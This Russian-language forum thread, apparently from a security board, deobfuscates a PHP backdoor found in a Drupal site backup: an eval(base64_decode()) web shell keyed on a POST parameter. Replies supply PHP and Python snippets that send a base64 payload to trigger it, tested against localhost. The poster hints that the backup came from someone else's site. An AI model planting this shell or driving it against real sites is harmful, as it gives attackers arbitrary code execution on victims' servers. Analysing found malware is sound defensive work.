php-"вирус" в Друпале

Discussion in 'Песочница' started by rct, 25 Sep 2015.

  1. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
    Нашел такой код
    PHP:
    <?
    $sF="PCT4BA6ODSE_";
    $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
    $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
    if
        (isset(${
    $s20}['n828e00'])) {
            eval(
    $s21(${$s20}['n828e00']));
        }
    ?>
    Моих поверхностных знаний пхп хватило, так сказать, отреверсить что тут вообще происходит =)
    Получается вот такой код
    PHP:
    if

        (isset(
    $POST['n828e00'])) {

            eval(
    $base64_decode($_POST['n828e00']));

        }
    То есть, теоретически, POST-запрос вида http://site.com/index.php?n828e00=cGhwaW5mbygpOw== должен вывести выхлоп phpinfo(). Накатил быстренько скрипт на питоне чтобы потестить на локалхосте, но у никакого выхлопа от phpinfo() нету. Эксплоит

    import requests
    payload = {"n828e00" : "cGhwaW5mbygpOw=="}
    r = requests.post("http://localhost/viros.php", params=payload)

    Помогите разобраться как этот пхп работает :)
     
  2. hesher

    hesher Elder - Старейшина

    Joined:
    23 Aug 2005
    Messages:
    74
    Likes Received:
    108
    Reputations:
    4
    Все правильно работает, у тебя только там в "декодированном" скрипте описка. Если ты его использовал, то может из-за этого не работал. Правильная версия:
    PHP:
    <?php
    if (isset($_POST['n828e00'])) {
      eval(
    base64_decode($_POST['n828e00']));
    }
    Пример на php, который отрабатывает phpinfo():
    PHP:
    <?php
    echo file_get_contents('http://localhost/122/1.php'falsestream_context_create(array(
        
    'http' => array(
            
    'method'  => 'POST',
            
    'header'  => 'Content-type: application/x-www-form-urlencoded',
            
    'content' => http_build_query(array('n828e00'=>'cGhwaW5mbygpOw=='))
        )
    )));
     
    vlladisllav and rct like this.
  3. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
    Дело в том, что это не моё :) Я слил бэкап сайта, а сам шелл нашел случайно.
    Я правильно понимаю что не рабоатает из-за eval($s21(${$s20}['n828e00'])); где ошибка именно в $s21 когда должно быть ${$s21} ?
     
  4. grimnir

    grimnir Members of Antichat

    Joined:
    23 Apr 2012
    Messages:
    1,109
    Likes Received:
    828
    Reputations:
    231
  5. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
  6. rct

    rct Active Member

    Joined:
    13 Jun 2015
    Messages:
    359
    Likes Received:
    107
    Reputations:
    7
    А вот этим скриптом всё отрабатывается. Проблема на моей стороне( Благодарю за помощь.
     
    hesher likes this.